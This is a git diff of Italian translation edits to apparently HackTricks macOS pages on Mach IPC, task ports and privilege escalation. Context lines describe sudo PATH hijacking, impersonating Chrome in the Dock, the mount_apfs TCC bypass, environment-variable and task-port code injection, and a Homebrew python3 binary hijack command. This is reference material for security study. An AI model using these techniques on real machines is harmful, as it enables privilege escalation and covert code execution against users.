|
||||
@ -221,7 +221,7 @@ Lo strumento afscexpand può essere utilizzato per forzare la decompressione di
|
||||
|
||||
## **Universal binaries &** Mach-o Format
|
||||
|
||||
I binari Mac OS di solito sono compilati come **universal binaries**. Un **universal binary** può **supportare più architetture nello stesso file**.
|
||||
I binari di Mac OS sono solitamente compilati come **universal binaries**. Un **universal binary** può **supportare più architetture nello stesso file**.
|
||||
|
||||
{{#ref}}
|
||||
universal-binaries-and-mach-o-format.md
|
||||
|
||||
@ -22,7 +22,7 @@ Si prega di notare che **la maggior parte dei trucchi sull'escalation dei privil
|
||||
|
||||
### Sudo Hijacking
|
||||
|
||||
Puoi trovare la tecnica originale [Sudo Hijacking all'interno del post sull'escalation dei privilegi di Linux](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
|
||||
Puoi trovare la tecnica originale di [Sudo Hijacking all'interno del post sull'escalation dei privilegi di Linux](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
|
||||
|
||||
Tuttavia, macOS **mantiene** il **`PATH`** dell'utente quando esegue **`sudo`**. Il che significa che un altro modo per realizzare questo attacco sarebbe **di dirottare altri binari** che la vittima eseguirà quando **esegue sudo:**
|
||||
```bash
|
||||
@ -46,7 +46,7 @@ Nota che un utente che utilizza il terminale avrà molto probabilmente **Homebre
|
||||
Utilizzando un po' di **ingegneria sociale** potresti **impersonare ad esempio Google Chrome** all'interno del dock ed eseguire effettivamente il tuo script:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="Impersonificazione di Chrome"}}
|
||||
{{#tab name="Chrome Impersonation"}}
|
||||
Alcuni suggerimenti:
|
||||
|
||||
- Controlla nel Dock se c'è un Chrome e, in tal caso, **rimuovi** quella voce e **aggiungi** la **voce falsa** **Chrome nella stessa posizione** nell'array del Dock.
|
||||
@ -205,7 +205,7 @@ killall Dock
|
||||
|
||||
### CVE-2020-9771 - bypass TCC di mount_apfs e escalation dei privilegi
|
||||
|
||||
**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare un'istantanea di Time Machine e **accedere a TUTTI i file** di quell'istantanea.\
|
||||
**Qualsiasi utente** (anche quelli non privilegiati) può creare e montare uno snapshot di Time Machine e **accedere a TUTTI i file** di quello snapshot.\
|
||||
L'**unico privilegio** necessario è che l'applicazione utilizzata (come `Terminal`) abbia accesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), che deve essere concesso da un amministratore.
|
||||
```bash
|
||||
# Create snapshot
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Un processo è un'istanza di un eseguibile in esecuzione, tuttavia i processi non eseguono codice, questi sono thread. Pertanto **i processi sono solo contenitori per thread in esecuzione** che forniscono memoria, descrittori, porte, permessi...
|
||||
|
||||
Tradizionalmente, i processi venivano avviati all'interno di altri processi (eccetto PID 1) chiamando **`fork`**, che creava una copia esatta del processo corrente e poi il **processo figlio** generalmente chiamava **`execve`** per caricare il nuovo eseguibile e eseguirlo. Poi, **`vfork`** è stato introdotto per rendere questo processo più veloce senza alcuna copia di memoria.\
|
||||
Tradizionalmente, i processi venivano avviati all'interno di altri processi (eccetto il PID 1) chiamando **`fork`**, che creava una copia esatta del processo corrente e poi il **processo figlio** generalmente chiamava **`execve`** per caricare il nuovo eseguibile e eseguirlo. Poi, **`vfork`** è stato introdotto per rendere questo processo più veloce senza alcuna copia di memoria.\
|
||||
Successivamente, **`posix_spawn`** è stato introdotto combinando **`vfork`** e **`execve`** in un'unica chiamata e accettando flag:
|
||||
|
||||
- `POSIX_SPAWN_RESETIDS`: Ripristina gli ID effettivi agli ID reali
|
||||
@ -23,7 +23,7 @@ Successivamente, **`posix_spawn`** è stato introdotto combinando **`vfork`** e
|
||||
|
||||
Inoltre, `posix_spawn` consente di specificare un array di **`posix_spawnattr`** che controlla alcuni aspetti del processo generato, e **`posix_spawn_file_actions`** per modificare lo stato dei descrittori.
|
||||
|
||||
Quando un processo muore, invia il **codice di ritorno al processo padre** (se il padre è morto, il nuovo padre è PID 1) con il segnale `SIGCHLD`. Il padre deve ottenere questo valore chiamando `wait4()` o `waitid()` e fino a quel momento il figlio rimane in uno stato zombie dove è ancora elencato ma non consuma risorse.
|
||||
Quando un processo muore, invia il **codice di ritorno al processo padre** (se il padre è morto, il nuovo padre è il PID 1) con il segnale `SIGCHLD`. Il padre deve ottenere questo valore chiamando `wait4()` o `waitid()` e fino a quel momento il figlio rimane in uno stato zombie dove è ancora elencato ma non consuma risorse.
|
||||
|
||||
### PIDs
|
||||
|
||||
@ -36,7 +36,7 @@ I PIDs, identificatori di processo, identificano un processo unico. In XNU i **P
|
||||
|
||||
La coalizione è un altro modo per raggruppare i processi in Darwin. Un processo che si unisce a una coalizione gli consente di accedere a risorse condivise, condividendo un libro mastro o affrontando Jetsam. Le coalizioni hanno ruoli diversi: Leader, servizio XPC, Estensione.
|
||||
|
||||
### Credenziali e Persone
|
||||
### Credenziali e Personae
|
||||
|
||||
Ogni processo detiene **credenziali** che **identificano i suoi privilegi** nel sistema. Ogni processo avrà un `uid` primario e un `gid` primario (anche se potrebbe appartenere a più gruppi).\
|
||||
È anche possibile cambiare l'ID utente e l'ID gruppo se il binario ha il bit `setuid/setgid`.\
|
||||
@ -63,7 +63,7 @@ char persona_name[MAXLOGNAME + 1];
|
||||
- **Dimensione Predefinita dello Stack:** La dimensione predefinita dello stack per i nuovi thread è di 512 KB, che è sufficiente per operazioni tipiche ma può essere regolata tramite gli attributi del thread se è necessario più o meno spazio.
|
||||
3. **Inizializzazione del Thread:** La funzione `__pthread_init()` è cruciale durante la configurazione del thread, utilizzando l'argomento `env[]` per analizzare le variabili di ambiente che possono includere dettagli sulla posizione e sulla dimensione dello stack.
|
||||
|
||||
#### Terminazione dei Thread in macOS
|
||||
#### Terminazione del Thread in macOS
|
||||
|
||||
1. **Uscita dai Thread:** I thread vengono tipicamente terminati chiamando `pthread_exit()`. Questa funzione consente a un thread di uscire in modo pulito, eseguendo le operazioni di pulizia necessarie e permettendo al thread di inviare un valore di ritorno a eventuali joiner.
|
||||
2. **Pulizia del Thread:** Al momento della chiamata a `pthread_exit()`, viene invocata la funzione `pthread_terminate()`, che gestisce la rimozione di tutte le strutture di thread associate. Dealloca le porte di thread Mach (Mach è il sottosistema di comunicazione nel kernel XNU) e chiama `bsdthread_terminate`, una syscall che rimuove le strutture a livello di kernel associate al thread.
|
||||
@ -88,9 +88,9 @@ Per gestire l'accesso alle risorse condivise e evitare condizioni di gara, macOS
|
||||
> [!TIP]
|
||||
> Gli ultimi 4 byte di quegli oggetti vengono utilizzati per rilevare overflow.
|
||||
|
||||
### Variabili Locali ai Thread (TLV)
|
||||
### Variabili Locali al Thread (TLV)
|
||||
|
||||
**Variabili Locali ai Thread (TLV)** nel contesto dei file Mach-O (il formato per gli eseguibili in macOS) vengono utilizzate per dichiarare variabili specifiche per **ogni thread** in un'applicazione multi-threaded. Questo garantisce che ogni thread abbia la propria istanza separata di una variabile, fornendo un modo per evitare conflitti e mantenere l'integrità dei dati senza la necessità di meccanismi di sincronizzazione espliciti come i mutex.
|
||||
**Variabili Locali al Thread (TLV)** nel contesto dei file Mach-O (il formato per gli eseguibili in macOS) vengono utilizzate per dichiarare variabili specifiche per **ogni thread** in un'applicazione multi-threaded. Questo garantisce che ogni thread abbia la propria istanza separata di una variabile, fornendo un modo per evitare conflitti e mantenere l'integrità dei dati senza la necessità di meccanismi di sincronizzazione espliciti come i mutex.
|
||||
|
||||
In C e linguaggi correlati, puoi dichiarare una variabile locale al thread utilizzando la parola chiave **`__thread`**. Ecco come funziona nel tuo esempio:
|
||||
```c
|
||||
@ -153,7 +153,7 @@ macos-library-injection/
|
||||
|
||||
### Hooking di Funzioni
|
||||
|
||||
Il hooking di funzioni implica **intercettare le chiamate di funzione** o i messaggi all'interno di un codice software. Intercettando le funzioni, un attaccante può **modificare il comportamento** di un processo, osservare dati sensibili o persino ottenere il controllo sul flusso di esecuzione.
|
||||
Il hooking di funzioni implica **intercettare le chiamate di funzione** o i messaggi all'interno di un codice software. Hookando le funzioni, un attaccante può **modificare il comportamento** di un processo, osservare dati sensibili o persino ottenere il controllo sul flusso di esecuzione.
|
||||
|
||||
{{#ref}}
|
||||
macos-function-hooking.md
|
||||
@ -169,7 +169,7 @@ macos-ipc-inter-process-communication/
|
||||
|
||||
### Iniezione di Applicazioni Electron
|
||||
|
||||
Le applicazioni Electron eseguite con variabili ambientali specifiche potrebbero essere vulnerabili all'iniezione di processi:
|
||||
Le applicazioni Electron eseguite con variabili di ambiente specifiche potrebbero essere vulnerabili all'iniezione di processi:
|
||||
|
||||
{{#ref}}
|
||||
macos-electron-applications-injection.md
|
||||
@ -193,7 +193,7 @@ macos-dirty-nib.md
|
||||
|
||||
### Iniezione di Applicazioni Java
|
||||
|
||||
È possibile abusare di alcune capacità di Java (come la variabile ambientale **`_JAVA_OPTS`**) per far eseguire a un'applicazione Java **codice/comandi arbitrari**.
|
||||
È possibile abusare di alcune capacità di Java (come la variabile di ambiente **`_JAVA_OPTS`**) per far eseguire a un'applicazione Java **codice/comandi arbitrari**.
|
||||
|
||||
{{#ref}}
|
||||
macos-java-apps-injection.md
|
||||
@ -217,7 +217,7 @@ macos-perl-applications-injection.md
|
||||
|
||||
### Iniezione di Ruby
|
||||
|
||||
È anche possibile abusare delle variabili ambientali di Ruby per far eseguire script arbitrari a codice arbitrario:
|
||||
È anche possibile abusare delle variabili di ambiente Ruby per far eseguire script arbitrari a codice arbitrario:
|
||||
|
||||
{{#ref}}
|
||||
macos-ruby-applications-injection.md
|
||||
@ -225,16 +225,16 @@ macos-ruby-applications-injection.md
|
||||
|
||||
### Iniezione di Python
|
||||
|
||||
Se la variabile ambientale **`PYTHONINSPECT`** è impostata, il processo python entrerà in un cli python una volta terminato. È anche possibile utilizzare **`PYTHONSTARTUP`** per indicare uno script python da eseguire all'inizio di una sessione interattiva.\
|
||||
Se la variabile di ambiente **`PYTHONINSPECT`** è impostata, il processo python entrerà in un cli python una volta terminato. È anche possibile utilizzare **`PYTHONSTARTUP`** per indicare uno script python da eseguire all'inizio di una sessione interattiva.\
|
||||
Tuttavia, nota che lo script **`PYTHONSTARTUP`** non verrà eseguito quando **`PYTHONINSPECT`** crea la sessione interattiva.
|
||||
|
||||
Altre variabili ambientali come **`PYTHONPATH`** e **`PYTHONHOME`** potrebbero essere utili per far eseguire a un comando python codice arbitrario.
|
||||
Altre variabili di ambiente come **`PYTHONPATH`** e **`PYTHONHOME`** potrebbero essere utili per far eseguire a un comando python codice arbitrario.
|
||||
|
||||
Nota che gli eseguibili compilati con **`pyinstaller`** non utilizzeranno queste variabili ambientali anche se vengono eseguiti utilizzando un python incorporato.
|
||||
|
||||
> [!CAUTION]
|
||||
> In generale, non sono riuscito a trovare un modo per far eseguire a python codice arbitrario abusando delle variabili ambientali.\
|
||||
> Tuttavia, la maggior parte delle persone installa python utilizzando **Homebrew**, che installerà python in una **posizione scrivibile** per l'utente admin predefinito. Puoi dirottarlo con qualcosa del tipo:
|
||||
> In generale non sono riuscito a trovare un modo per far eseguire a python codice arbitrario abusando delle variabili di ambiente.\
|
||||
> Tuttavia, la maggior parte delle persone installa python utilizzando **Homebrew**, che installerà python in una **posizione scrivibile** per l'utente admin predefinito. Puoi dirottarlo con qualcosa del genere:
|
||||
>
|
||||
> ```bash
|
||||
> mv /opt/homebrew/bin/python3 /opt/homebrew/bin/python3.old
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
Mach utilizza **task** come **unità più piccola** per la condivisione delle risorse, e ogni task può contenere **più thread**. Questi **task e thread sono mappati 1:1 a processi e thread POSIX**.
|
||||
Mach utilizza **task** come la **più piccola unità** per la condivisione delle risorse, e ogni task può contenere **più thread**. Questi **task e thread sono mappati 1:1 a processi e thread POSIX**.
|
||||
|
||||
La comunicazione tra task avviene tramite Mach Inter-Process Communication (IPC), utilizzando canali di comunicazione unidirezionali. **I messaggi vengono trasferiti tra porte**, che fungono da **code di messaggi** gestite dal kernel.
|
||||
La comunicazione tra i task avviene tramite Mach Inter-Process Communication (IPC), utilizzando canali di comunicazione unidirezionali. **I messaggi vengono trasferiti tra le porte**, che fungono da **code di messaggi** gestite dal kernel.
|
||||
|
||||
Una **porta** è l'elemento **base** di Mach IPC. Può essere utilizzata per **inviare messaggi e riceverli**.
|
||||
|
||||
@ -21,7 +21,7 @@ Un processo può anche inviare un nome di porta con alcuni diritti **a un task d
|
||||
I diritti di porta, che definiscono quali operazioni un task può eseguire, sono fondamentali per questa comunicazione. I possibili **diritti di porta** sono ([definizioni da qui](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **Diritto di ricezione**, che consente di ricevere messaggi inviati alla porta. Le porte Mach sono code MPSC (multiple-producer, single-consumer), il che significa che può esserci solo **un diritto di ricezione per ogni porta** nell'intero sistema (a differenza delle pipe, dove più processi possono detenere descrittori di file per l'estremità di lettura di una pipe).
|
||||
- Un **task con il diritto di ricezione** può ricevere messaggi e **creare diritti di invio**, consentendogli di inviare messaggi. Inizialmente solo il **proprio task ha il diritto di ricezione sulla sua porta**.
|
||||
- Un **task con il diritto di ricezione** può ricevere messaggi e **creare diritti di invio**, consentendogli di inviare messaggi. Inizialmente solo il **proprio task ha diritto di ricezione sulla sua porta**.
|
||||
- Se il proprietario del diritto di ricezione **muore** o lo uccide, il **diritto di invio diventa inutile (nome morto)**.
|
||||
- **Diritto di invio**, che consente di inviare messaggi alla porta.
|
||||
- Il diritto di invio può essere **clonato** in modo che un task che possiede un diritto di invio possa clonare il diritto e **concederlo a un terzo task**.
|
||||
@ -29,7 +29,7 @@ I diritti di porta, che definiscono quali operazioni un task può eseguire, sono
|
||||
- **Diritto di invio una sola volta**, che consente di inviare un messaggio alla porta e poi scompare.
|
||||
- Questo diritto **non può** essere **clonato**, ma può essere **spostato**.
|
||||
- **Diritto di insieme di porte**, che denota un _insieme di porte_ piuttosto che una singola porta. Dequeuing un messaggio da un insieme di porte estrae un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte simultaneamente, molto simile a `select`/`poll`/`epoll`/`kqueue` in Unix.
|
||||
- **Nome morto**, che non è un vero e proprio diritto di porta, ma semplicemente un segnaposto. Quando una porta viene distrutta, tutti i diritti di porta esistenti per la porta si trasformano in nomi morti.
|
||||
- **Nome morto**, che non è un vero diritto di porta, ma semplicemente un segnaposto. Quando una porta viene distrutta, tutti i diritti di porta esistenti per la porta si trasformano in nomi morti.
|
||||
|
||||
**I task possono trasferire diritti di INVIO ad altri**, consentendo loro di inviare messaggi di ritorno. **I diritti di INVIO possono anche essere clonati, quindi un task può duplicare e dare il diritto a un terzo task**. Questo, combinato con un processo intermedio noto come **bootstrap server**, consente una comunicazione efficace tra i task.
|
||||
|
||||
@ -39,7 +39,7 @@ Le porte file consentono di incapsulare descrittori di file in porte Mac (utiliz
|
||||
|
||||
### Establishing a communication
|
||||
|
||||
Come accennato in precedenza, è possibile inviare diritti utilizzando messaggi Mach, tuttavia, **non puoi inviare un diritto senza avere già un diritto** per inviare un messaggio Mach. Quindi, come viene stabilita la prima comunicazione?
|
||||
Come accennato in precedenza, è possibile inviare diritti utilizzando messaggi Mach, tuttavia, **non è possibile inviare un diritto senza avere già un diritto** per inviare un messaggio Mach. Quindi, come viene stabilita la prima comunicazione?
|
||||
|
||||
Per questo, il **bootstrap server** (**launchd** in mac) è coinvolto, poiché **chiunque può ottenere un diritto di INVIO al bootstrap server**, è possibile chiedergli un diritto per inviare un messaggio a un altro processo:
|
||||
|
||||
@ -50,7 +50,7 @@ Per questo, il **bootstrap server** (**launchd** in mac) è coinvolto, poiché *
|
||||
4. Il task A invia un messaggio `bootstrap_register` al bootstrap server per **associare la porta data a un nome** come `com.apple.taska`
|
||||
5. Il task **B** interagisce con il **bootstrap server** per eseguire un bootstrap **lookup per il nome del servizio** (`bootstrap_lookup`). Affinché il bootstrap server possa rispondere, il task B gli invierà un **diritto di INVIO a una porta che ha precedentemente creato** all'interno del messaggio di lookup. Se il lookup ha successo, il **server duplica il diritto di INVIO** ricevuto dal Task A e **lo trasmette al Task B**.
|
||||
- Ricorda che chiunque può ottenere un diritto di INVIO al bootstrap server.
|
||||
6. Con questo diritto di INVIO, **Task B** è in grado di **inviare** un **messaggio** **al Task A**.
|
||||
6. Con questo diritto di INVIO, **il Task B** è in grado di **inviare** un **messaggio** **al Task A**.
|
||||
7. Per una comunicazione bidirezionale, di solito il task **B** genera una nuova porta con un **DIRITTO DI RICEZIONE** e un **DIRITTO DI INVIO**, e dà il **DIRITTO DI INVIO al Task A** in modo che possa inviare messaggi al TASK B (comunicazione bidirezionale).
|
||||
|
||||
Il bootstrap server **non può autenticare** il nome del servizio rivendicato da un task. Questo significa che un **task** potrebbe potenzialmente **impersonare qualsiasi task di sistema**, come rivendicare falsamente un nome di servizio di autorizzazione e poi approvare ogni richiesta.
|
||||
@ -68,13 +68,13 @@ Per questi servizi predefiniti, il **processo di lookup differisce leggermente**
|
||||
Tuttavia, questo processo si applica solo ai task di sistema predefiniti. I task non di sistema operano ancora come descritto originariamente, il che potrebbe potenzialmente consentire l'impersonificazione.
|
||||
|
||||
> [!CAUTION]
|
||||
> Pertanto, launchd non dovrebbe mai andare in crash o l'intero sistema andrà in crash.
|
||||
> Pertanto, launchd non dovrebbe mai bloccarsi o l'intero sistema si bloccherà.
|
||||
|
||||
### A Mach Message
|
||||
|
||||
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
La funzione `mach_msg`, essenzialmente una chiamata di sistema, viene utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio da inviare sia il primo argomento. Questo messaggio deve iniziare con una struttura `mach_msg_header_t`, seguita dal contenuto del messaggio effettivo. La struttura è definita come segue:
|
||||
La funzione `mach_msg`, essenzialmente una chiamata di sistema, viene utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio da inviare sia l'argomento iniziale. Questo messaggio deve iniziare con una struttura `mach_msg_header_t`, seguita dal contenuto effettivo del messaggio. La struttura è definita come segue:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
@ -89,7 +89,7 @@ I process che possiedono un _**diritto di ricezione**_ possono ricevere messaggi
|
||||
|
||||
Il campo iniziale **`msgh_bits`** è un bitmap:
|
||||
|
||||
- Il primo bit (il più significativo) è usato per indicare che un messaggio è complesso (ne parleremo più avanti)
|
||||
- Il primo bit (il più significativo) è usato per indicare che un messaggio è complesso (di più su questo di seguito)
|
||||
- Il 3° e il 4° sono usati dal kernel
|
||||
- I **5 bit meno significativi del 2° byte** possono essere usati per **voucher**: un altro tipo di porta per inviare combinazioni chiave/valore.
|
||||
- I **5 bit meno significativi del 3° byte** possono essere usati per **porta locale**
|
||||
@ -110,10 +110,10 @@ I tipi che possono essere specificati nel voucher, nelle porte locali e remote s
|
||||
```
|
||||
Per esempio, `MACH_MSG_TYPE_MAKE_SEND_ONCE` può essere utilizzato per **indicare** che un **diritto di invio una sola volta** dovrebbe essere derivato e trasferito per questa porta. Può anche essere specificato `MACH_PORT_NULL` per impedire al destinatario di poter rispondere.
|
||||
|
||||
Per ottenere una facile **comunicazione bi-direzionale**, un processo può specificare una **mach port** nell'intestazione del **messaggio mach** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevente** del messaggio può **inviare una risposta** a questo messaggio.
|
||||
Per ottenere una facile **comunicazione bi-direzionale**, un processo può specificare una **mach port** nell'**intestazione del messaggio mach** chiamata _porta di risposta_ (**`msgh_local_port`**) dove il **ricevente** del messaggio può **inviare una risposta** a questo messaggio.
|
||||
|
||||
> [!TIP]
|
||||
> Nota che questo tipo di comunicazione bi-direzionale è utilizzato nei messaggi XPC che si aspettano una risposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Ma **di solito vengono create porte diverse** come spiegato in precedenza per creare la comunicazione bi-direzionale.
|
||||
> Nota che questo tipo di comunicazione bi-direzionale è utilizzato nei messaggi XPC che si aspettano una risposta (`xpc_connection_send_message_with_reply` e `xpc_connection_send_message_with_reply_sync`). Ma **di solito vengono creati porti diversi** come spiegato in precedenza per creare la comunicazione bi-direzionale.
|
||||
|
||||
Gli altri campi dell'intestazione del messaggio sono:
|
||||
|
||||
@ -125,7 +125,7 @@ Gli altri campi dell'intestazione del messaggio sono:
|
||||
> [!CAUTION]
|
||||
> Nota che **i messaggi mach vengono inviati su una `mach port`**, che è un canale di comunicazione **a singolo ricevente**, **multi-inviatore** integrato nel kernel mach. **Più processi** possono **inviare messaggi** a una mach port, ma in qualsiasi momento solo **un singolo processo può leggere** da essa.
|
||||
|
||||
I messaggi sono quindi formati dall'intestazione **`mach_msg_header_t`** seguita dal **corpo** e dal **trailer** (se presente) e possono concedere il permesso di rispondere. In questi casi, il kernel deve solo passare il messaggio da un'attività all'altra.
|
||||
I messaggi sono quindi formati dall'**intestazione `mach_msg_header_t`** seguita dal **corpo** e dal **trailer** (se presente) e può concedere il permesso di rispondere. In questi casi, il kernel deve solo passare il messaggio da un'attività all'altra.
|
||||
|
||||
Un **trailer** è **informazione aggiunta al messaggio dal kernel** (non può essere impostata dall'utente) che può essere richiesta nella ricezione del messaggio con i flag `MACH_RCV_TRAILER_<trailer_opt>` (ci sono diverse informazioni che possono essere richieste).
|
||||
|
||||
@ -163,7 +163,7 @@ Nota che le porte sono associate allo spazio dei nomi del task, quindi per crear
|
||||
|
||||
- **`mach_port_allocate` | `mach_port_construct`**: **Crea** una porta.
|
||||
- `mach_port_allocate` può anche creare un **port set**: diritto di ricezione su un gruppo di porte. Ogni volta che viene ricevuto un messaggio, viene indicata la porta da cui proviene.
|
||||
- `mach_port_allocate_name`: Cambia il nome della porta (per impostazione predefinita intero 32 bit)
|
||||
- `mach_port_allocate_name`: Cambia il nome della porta (per impostazione predefinita intero a 32 bit)
|
||||
- `mach_port_names`: Ottieni i nomi delle porte da un target
|
||||
- `mach_port_type`: Ottieni i diritti di un task su un nome
|
||||
- `mach_port_rename`: Rinomina una porta (come dup2 per i FD)
|
||||
@ -413,7 +413,7 @@ Ci sono alcune porte speciali che consentono di **eseguire determinate azioni se
|
||||
|
||||
Queste porte sono rappresentate da un numero.
|
||||
|
||||
I diritti **SEND** possono essere ottenuti chiamando **`host_get_special_port`** e i diritti **RECEIVE** chiamando **`host_set_special_port`**. Tuttavia, entrambe le chiamate richiedono la porta **`host_priv`** a cui può accedere solo l'utente root. Inoltre, in passato, l'utente root era in grado di chiamare **`host_set_special_port`** e di dirottare arbitrariamente, il che consentiva, ad esempio, di bypassare le firme del codice dirottando `HOST_KEXTD_PORT` (SIP ora previene questo).
|
||||
I diritti **SEND** possono essere ottenuti chiamando **`host_get_special_port`** e i diritti **RECEIVE** chiamando **`host_set_special_port`**. Tuttavia, entrambe le chiamate richiedono la porta **`host_priv`** a cui solo root può accedere. Inoltre, in passato root era in grado di chiamare **`host_set_special_port`** e di dirottare arbitrariamente, il che consentiva, ad esempio, di bypassare le firme del codice dirottando `HOST_KEXTD_PORT` (SIP ora previene questo).
|
||||
|
||||
Queste sono divise in 2 gruppi: Le **prime 7 porte sono di proprietà del kernel**, essendo la 1 `HOST_PORT`, la 2 `HOST_PRIV_PORT`, la 3 `HOST_IO_MASTER_PORT` e la 7 è `HOST_MAX_SPECIAL_KERNEL_PORT`.\
|
||||
Quelle che iniziano **dal** numero **8** sono **di proprietà dei demoni di sistema** e possono essere trovate dichiarate in [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
|
||||
@ -424,7 +424,7 @@ Quelle che iniziano **dal** numero **8** sono **di proprietà dei demoni di sist
|
||||
- `host_virtual_physical_table_info`: Tabella delle pagine Virtuali/Fisiche (richiede MACH_VMDEBUG)
|
||||
- `host_statistics`: Ottieni statistiche dell'host
|
||||
- `mach_memory_info`: Ottieni layout della memoria del kernel
|
||||
- **Porte Privilege host**: Un processo con diritto **SEND** su questa porta può eseguire **azioni privilegiate** come mostrare dati di avvio o tentare di caricare un'estensione del kernel. Il **processo deve essere root** per ottenere questo permesso.
|
||||
- **Porte Privilegiati**: Un processo con diritto **SEND** su questa porta può eseguire **azioni privilegiate** come mostrare dati di avvio o tentare di caricare un'estensione del kernel. Il **processo deve essere root** per ottenere questo permesso.
|
||||
- Inoltre, per chiamare l'API **`kext_request`** è necessario avere altri diritti **`com.apple.private.kext*`** che sono concessi solo ai binari Apple.
|
||||
- Altre routine che possono essere chiamate sono:
|
||||
- `host_get_boot_info`: Ottieni `machine_boot_info()`
|
||||
@ -451,6 +451,8 @@ world.*/
|
||||
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
|
||||
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
|
||||
```
|
||||
Da [qui](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html):
|
||||
|
||||
- **TASK_KERNEL_PORT**\[diritto di invio task-self]: La porta utilizzata per controllare questo task. Usata per inviare messaggi che influenzano il task. Questa è la porta restituita da **mach_task_self (vedi Task Ports qui sotto)**.
|
||||
- **TASK_BOOTSTRAP_PORT**\[diritto di invio bootstrap]: La porta di bootstrap del task. Usata per inviare messaggi che richiedono il ritorno di altre porte di servizio di sistema.
|
||||
- **TASK_HOST_NAME_PORT**\[diritto di invio host-self]: La porta utilizzata per richiedere informazioni sull'host contenitore. Questa è la porta restituita da **mach_host_self**.
|
||||
@ -459,7 +461,7 @@ world.*/
|
||||
|
||||
### Task Ports
|
||||
|
||||
Originariamente Mach non aveva "processi", aveva "task" che erano considerati più come un contenitore di thread. Quando Mach è stato fuso con BSD **ogni task era correlato a un processo BSD**. Pertanto, ogni processo BSD ha i dettagli necessari per essere un processo e ogni task Mach ha anche il suo funzionamento interno (eccetto per il pid 0 inesistente che è il `kernel_task`).
|
||||
Originariamente Mach non aveva "processi", aveva "tasks" che erano considerati più come un contenitore di thread. Quando Mach è stato fuso con BSD **ogni task era correlato a un processo BSD**. Pertanto, ogni processo BSD ha i dettagli necessari per essere un processo e ogni task Mach ha anche il suo funzionamento interno (eccetto per il pid 0 inesistente che è il `kernel_task`).
|
||||
|
||||
Ci sono due funzioni molto interessanti relative a questo:
|
||||
|
||||
@ -468,7 +470,7 @@ Ci sono due funzioni molto interessanti relative a questo:
|
||||
|
||||
Per eseguire azioni all'interno del task, il task ha bisogno di un diritto di `SEND` su se stesso chiamando `mach_task_self()` (che utilizza il `task_self_trap` (28)). Con questo permesso un task può eseguire diverse azioni come:
|
||||
|
||||
- `task_threads`: Ottieni diritto di INVIO su tutte le porte dei task dei thread del task
|
||||
- `task_threads`: Ottieni il diritto di INVIO su tutte le porte dei task dei thread del task
|
||||
- `task_info`: Ottieni informazioni su un task
|
||||
- `task_suspend/resume`: Sospendi o riprendi un task
|
||||
- `task_[get/set]_special_port`
|
||||
@ -481,7 +483,7 @@ Per eseguire azioni all'interno del task, il task ha bisogno di un diritto di `S
|
||||
|
||||
Inoltre, la task_port è anche la porta **`vm_map`** che consente di **leggere e manipolare la memoria** all'interno di un task con funzioni come `vm_read()` e `vm_write()`. Questo significa fondamentalmente che un task con diritti di INVIO sulla task_port di un task diverso sarà in grado di **iniettare codice in quel task**.
|
||||
|
||||
Ricorda che poiché il **kernel è anche un task**, se qualcuno riesce a ottenere un **permesso di INVIO** sul **`kernel_task`**, sarà in grado di far eseguire al kernel qualsiasi cosa (jailbreak).
|
||||
Ricorda che poiché il **kernel è anche un task**, se qualcuno riesce a ottenere un **diritto di INVIO** sul **`kernel_task`**, sarà in grado di far eseguire al kernel qualsiasi cosa (jailbreak).
|
||||
|
||||
- Chiama `mach_task_self()` per **ottenere il nome** per questa porta per il task chiamante. Questa porta è solo **ereditata** attraverso **`exec()`**; un nuovo task creato con `fork()` ottiene una nuova porta task (come caso speciale, un task ottiene anche una nuova porta task dopo `exec()` in un binario suid). L'unico modo per generare un task e ottenere la sua porta è eseguire il ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) mentre si esegue un `fork()`.
|
||||
- Queste sono le restrizioni per accedere alla porta (da `macos_task_policy` dal binario `AppleMobileFileIntegrity`):
|
||||
@ -559,7 +561,7 @@ return 0;
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
**Compila** il programma precedente e aggiungi i **diritti** per poter iniettare codice con lo stesso utente (altrimenti dovrai usare **sudo**).
|
||||
**Compila** il programma precedente e aggiungi i **diritti** per poter iniettare codice con lo stesso utente (se no dovrai usare **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
@ -1081,13 +1083,13 @@ Quando si chiama `task_for_pid` o `thread_create_*` si incrementa un contatore n
|
||||
|
||||
Quando si verifica un'eccezione in un thread, questa eccezione viene inviata al porto di eccezione designato del thread. Se il thread non la gestisce, allora viene inviata ai porti di eccezione del task. Se il task non la gestisce, allora viene inviata al porto host che è gestito da launchd (dove verrà riconosciuta). Questo è chiamato triage delle eccezioni.
|
||||
|
||||
Nota che alla fine, di solito, se non gestita correttamente, il report finirà per essere gestito dal demone ReportCrash. Tuttavia, è possibile che un altro thread nello stesso task gestisca l'eccezione, questo è ciò che fanno gli strumenti di reportistica degli arresti come `PLCreashReporter`.
|
||||
Nota che alla fine, di solito, se non gestita correttamente, il report finirà per essere gestito dal demone ReportCrash. Tuttavia, è possibile che un altro thread nello stesso task gestisca l'eccezione, questo è ciò che fanno gli strumenti di reportistica degli arresti anomali come `PLCreashReporter`.
|
||||
|
||||
## Other Objects
|
||||
|
||||
### Clock
|
